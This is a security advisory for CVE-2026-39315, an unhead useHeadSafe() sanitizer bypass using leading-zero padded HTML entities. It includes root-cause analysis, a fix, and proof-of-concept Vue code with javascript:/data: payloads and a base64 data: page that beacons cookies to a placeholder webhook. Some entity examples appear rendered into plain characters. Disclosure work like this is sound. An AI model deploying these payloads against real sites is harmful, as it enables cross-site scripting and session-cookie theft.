CVE-2026-39315
MEDIUM6.1EPSS 0.09%Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()
描述
##EVIDENCE <img width="1900" height="855" alt="Screenshot_2026-03-25_090729" src="https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50" /> <img width="1919" height="947" alt="Screenshot_2026-03-25_090715" src="https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40" /> <img width="1918" height="925" alt="Screenshot_2026-03-25_090759" src="https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c" /> <img width="1912" height="812" alt="Screenshot_2026-03-25_090824" src="https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0" /> <img width="1846" height="409" alt="Screenshot_2026-03-22_090617" src="https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9" /> | **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) | | **Cross-reported here** | 2026-04-03 | --- ## Summary `useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in `<head>` safely. Internally, the `hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes HTML entities before checking for blocked URI schemes (`javascript:`, `data:`, `vbscript:`). The decoder uses two regular expressions with fixed-width digit caps: ```js // Current — vulnerable const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi const HtmlEntityDec = /&#(\d{1,7});?/g ``` The HTML5 specification imposes **no limit** on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of `:` (U+003A): - `:` — 10 decimal digits, exceeds the `\d{1,7}` cap - `:` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to `startsWith('javascript:')`, which does not match. `makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. > **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, > which was an attribute *key* injection via the `data-*` prefix. This finding targets > the attribute *value* decoder — a different code path with a different root cause and > a different fix. --- ## Root Cause Analysis ### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11) ```js const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max ``` ### Why the bypass works The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode `:` as `:` regardless of the number of leading zeros. Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (`java:script:alert(1)`) is passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM. --- ## Steps to Reproduce ### Environment - **Nuxt:** 4.x (current) - **unhead:** 2.1.12 (current at time of report) - **Node:** 20 LTS - **Chrome:** 146+ ### Step 1 — Create a fresh Nuxt 4 project ```bash npx nuxi init poc cd poc npm install ``` ### Step 2 — Replace `pages/index.vue` ```vue <template> <div> <h1>useHeadSafe bypass PoC</h1> <p>View page source or run the curl command below.</p> </div> </template> <script setup> import { useHeadSafe } from '#imports' useHeadSafe({ link: [ // 10-digit decimal padding — exceeds \d{1,7} cap { rel: 'stylesheet', href: 'java:script:alert(1)' }, // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap { rel: 'icon', href: 'data:text/html,<script>alert(document.cookie)<\/script>' } ] }) </script> ``` ### Step 3 — Start the dev server and inspect SSR output ```bash npm run dev ``` In a separate terminal: ```bash curl -s http://localhost:3000 | grep '<link' ``` ### Expected result (safe) Tags stripped entirely, or schemes rewritten to safe placeholder values. ### Actual result (vulnerable) ```html <link href="java:script:alert(1)" rel="stylesheet"> <link href="data:text/html,<script>alert(document.cookie)<\/script>" rel="icon"> ``` Both `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()` blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load. --- ## Confirmed Execution Path (data: URI via iframe, Chrome 146+) Immediate script execution from `<link>` tags does not occur automatically — browsers do not create a browsing context from `<link href>`. The exploitability of this bypass therefore depends on whether downstream application code consumes `<link>` href values. This is a **common pattern** in real-world Nuxt applications: - Head management libraries that hydrate or re-process `<link>` tags on the client - SEO and analytics scripts that read canonical or icon link values - Application features that preview, validate, or forward link URLs into iframes - Developer tooling that loads icon URLs for thumbnail generation Chrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:` navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards `<link href>` into an iframe — triggers confirmed script execution: ```js // Simulates downstream head-management or SEO utility reading a <link> href const link = document.querySelector('link[rel="icon"]'); if (link) { const iframe = document.createElement('iframe'); iframe.src = link.href; // browser decodes : → ':', constructs data: URI document.body.appendChild(iframe); // alert() fires } ``` ### Full PoC with cookie exfiltration beacon > Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running. ```vue <template> <div> <h1>useHeadSafe padded entity bypass — full PoC</h1> <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p> </div> </template> <script setup> import { useHeadSafe } from '#imports' import { onMounted } from 'vue' onMounted(() => { document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None' const el = document.getElementById('cookie-display') if (el) el.textContent = document.cookie // Simulate downstream consumption: load the bypassed icon href into an iframe const link = document.querySelector('link[rel="icon"]') if (link) { const iframe = document.createElement('iframe') iframe.src = link.href iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px' document.body.appendChild(iframe) } }) const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE' useHeadSafe({ link: [ { rel: 'icon', href: `data:text/html;base64,${btoa(` <!DOCTYPE html><html><body><script> alert('XSS via useHeadSafe padded entity bypass'); new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({ finding: 'useHeadSafe hasDangerousProtocol bypass', cookie: document.cookie || 'session=super-secret-token-12345 (dummy)', origin: location.origin, ts: Date.now() })); <\/script></body></html> `)}` } ] }) </script> ``` **Observed result:** 1. `alert()` fires from inside the iframe's `data:` document context 2. Webhook receives a GET request with the cookie value and origin in the query string 3. Page source confirms `:` is present unescaped in the SSR-rendered `<link>` tag > All testing was performed against a local Nuxt development environment on a personal > machine. Cookie values are dummy data. No production systems were accessed or targeted. --- ## Impact ### 1. Broken security contract Developers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted user input have no reliable protection against `javascript:`, `data:`, or `vbscript:` scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated. ### 2. Confirmed data: URI escape to SSR output A fully valid `data:text/html` URI now reaches server-rendered HTML. In applications where any downstream code reads and loads `<link href>` values (head management utilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path. ### 3. Forward exploitability If any navigation-context attribute (e.g. `<a href>`, `<form action>`) is added to the safe attribute whitelist in a future release, this bypass produces **immediately exploitable stored XSS** with no additional attacker effort, because the end-to-end bypass already works today. --- ## Suggested Fix Remove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()` function already validates that decoded codepoints fall within the valid Unicode range (`> 0x10FFFF || < 0 || isNaN → ''`), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs. ```diff - const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi - const HtmlEntityDec = /&#(\d{1,7});?/g + const HtmlEntityHex = /&#x([0-9a-f]+);?/gi + const HtmlEntityDec = /&#(\d+);?/g ``` **File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11 This is a minimal, low-risk change. No other code in the call path requires modification. --- ## Weaknesses | CWE | Description | |---|---| | **CWE-184** | Incomplete List of Disallowed Inputs | | **CWE-116** | Improper Encoding or Escaping of Output | | **CWE-20** | Improper Input Validation | --- ## References | Source | Link | |---|---| | HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state | | GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c | | CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ | | OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html | | Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations | | Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 | | Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |
受影響套件(1)
- npm/unheadfrom 0, < 2.1.13
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |